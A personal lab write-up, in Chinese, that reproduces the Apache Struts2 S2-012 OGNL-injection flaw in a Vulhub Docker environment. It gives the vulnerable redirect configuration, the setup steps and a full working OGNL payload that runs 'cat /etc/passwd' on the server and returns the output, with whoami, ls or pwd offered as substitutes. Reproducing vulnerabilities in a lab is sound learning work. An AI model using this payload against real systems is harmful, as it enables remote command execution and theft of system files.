此为本人漏洞学习过程。
影响版本: 2.1.0 - 2.3.13
漏洞详情: S2-012 - Apache Struts 2 Wiki - Apache Software Foundation
关于
Status2:
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:
<package name="S2-012" extends="struts-default"> <action name="user" class="com.demo.action.UserAction"> <result name="redirect" type="redirect">/index.jsp?name=${name}</result> <result name="input">/index.jsp</result> <result name="success">/index.jsp</result> </action> </package>
这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
漏洞s2-012
与s2-001相似,可参考001的漏洞复现过程
docker—vulhub—struts2漏洞复现详细过程(s2-001/007/008)_公子YA的博客-CSDN博客_docker struts2
一、环境准备
CentOS7 :
安装Vulhub
参考: Vulhub - Docker-Compose file for vulnerability environment
到下图这步拉取Vulhub即可
此时的虚拟机,克隆失败不要紧,多试几次,一般都是网络问题,ping github.com 能通没啥问题的话就没问题
Window10:已安装好BurpSuit
(虚拟机centOS必须要与Win10互ping能通,不然Win10不能访问到该页面,.net模式下互通方法虚拟机配置Nat网络模式和主机互通_J_Unknown的博客-CSDN博客,要是方法不管用,将Win10的网卡重启一下就行)
二、步骤
1.准备工作
cd vulhub/struts2 切换到struts2
ls 显示当前目录 我们需要的环境是s2-012 cd s2-012
ls 能看到s2-012下面有个文档说明
cat README.zh-cn.md 查看中文说明文档
文档最后的图片也在目录里面可以找到,打开
文档阅读完毕,可以按照文档提示开始动手
2.按照文档进行测试环境搭建
记得先启动dockers systemctl start docker
docker-compose build (可能会报错,再运行一遍就可以了)
docker-compose up -d
查看一下已启动的容器看看是否启动成功-----已成功
3.访问页面
查看centOS的IP ifconfig
在Win10上访问 192.168.255.134:8080
启动BurpSuite准备抓包
查看文档,复制粘贴poc到框框内然后点击Submit,开始抓包
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
结果与文档描述一致
其中插入的执行命令为cat /etc/passwd
也可换成whoami 或 ls 或者 pwd
即将 "cat", "/etc/passwd" 换为 "whoami" 或 "ls" 或者 "pwd"
抓包图分别如下
漏洞复现完毕!